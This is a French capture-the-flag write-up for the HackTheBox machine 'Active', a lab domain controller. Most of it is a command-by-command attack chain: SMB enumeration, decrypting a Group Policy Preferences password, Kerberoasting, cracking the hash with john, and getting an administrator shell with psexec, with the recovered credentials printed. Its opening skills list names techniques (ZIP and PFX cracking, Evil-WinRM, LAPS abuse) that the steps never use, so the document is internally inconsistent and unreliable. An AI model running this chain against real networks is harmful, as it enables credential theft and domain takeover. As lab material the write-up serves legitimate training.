Active HackTheBox (Writeup)

Hack The Boxapp.hackthebox.com

Skills:

• SMB Enumeration

• Cracking ZIp Password Protected File (fcrackzip)

• Cracking and reading .PFX File (crackpkcs12)

• Gaining SSL access with Evil-WinRM

• Information Leakage - Reading the user's Powershell history (User Pivoting)

• Abusing LAPS to get passwords (Get-LAPSPasswords.ps1) [Privilege Escalation]

Reconnaissance:

Création de l'espace de travail :

Nous établirons notre espace de travail en créant trois dossiers pour stocker les contenus importants, les exploits et les résultats de la reconnaissance à l'aide de Nmap.

Vérification de la Connectivité VPN

Vérification de la connexion VPN pour assurer une communication stable avec la machine cible.

Recherche des ports ouverts avec Nmap : Exploration des ports ouverts et exportation dans le fichier "allPorts" dans le répertoire Nmap :

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.100 -oG allPorts

Analyse des ports ouverts avec extractport : Utilisation de la fonction extractport pour afficher de manière synthétique les ports ouverts et les copier dans le presse-papiers.

Scan de la version des ports avec Nmap : Utilisation de Nmap pour scanner la version des ports et extraction des informations dans le fichier "targeted" :

nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49168,49173 10.10.10.100 -oN targeted

Enumeration et Exploitation :

Enumeration SMB:

Utiliser crackmapexec pour énumérer les systèmes et trouver le nom de domaine.

crackmapexec smb 10.10.10.100

Réglage de l'Heure avec NTP:

Ajuster l'heure de la machine cible pour eviter des problèmes

ntpdate 10.10.10.100

Configuration /etc/hosts:

Ajout du Contrôleur de Domaine au fichier hosts pour permettre le ping :

Lister les Ressources Partagées

Utiliser smbclient ou smbmap pour explorer les ressources partagées sur le réseau.

smbclient -L 10.10.10.100 -N

smbmap -H 10.10.10.100

Recherche de Fichiers Spécifiques:

Explorer les répertoires à la recherche de fichiers pertinents

smbmap -H 10.10.10.100 -r Replication

smbmap -H 10.10.10.100 -r Replication/active.htb

On identifie le fichier groups.xml qui peut contenir des informations confidentielles.

smbmap -H 10.10.10.100 --download Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml

Décryptage de Mot de Passe:

Utiliser gpp-decrypt pour décrypter les mots de passe stockés.

gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'

Validation des Identifiants:

Utiliser crackmapexec pour vérifier si les identifiants sont valides

crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'

Exploration des Permissions:

Utiliser crackmapexec et smbmap pour explorer les permissions sur les partages réseau.

crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares

Obtention du Flag 'user.txt':

smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -r Users

Connexion au Contrôleur de Domaine:

Utilisation de rpcclient pour se connecter au Contrôleur de Domaine et explorer les utilisateurs et les groupes :

rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100

- Pour identifier les membres du groupe admin :

rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querygroupmem 0x200'

- Pour obtenir les utilisateurs dans un groupe spécifique :

rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'queryuser 0x1f4'

- Pour énumérer les descriptions de tous les utilisateurs :

rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querydispinfo'

Vulnérabilité Kerberoast:

La vulnérabilité Kerberoast est exploitée avec succès via la commande suivante :

GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18

Cette commande permet de récupérer un ticket de service Grant-Ticketing Service (TGS) exploitant la vulnérabilité.

Ensuite, pour obtenir un hash administrateur, le paramètre -request est ajouté à la commande:

GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request

Exploitation Finale :

Cracking des Hashes:

Utiliser John pour tenter de cracker les hashes obtenus

john --wordlist=/usr/share/wordlists/rockyou.txt hash

Validation des Identifiants:

Utiliser crackmapexec pour valider les identifiants obtenus

crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968'

Exécution du Psexec:

Utiliser psexec.py pour obtenir un shell interactif en tant qu'administrateur.

psexec.py active.htb/Administrator:[email protected] cmd.exe

Obtention de la Flag Finale:

Réussir à obtenir la flag finale une fois l'accès administrateur est acquis.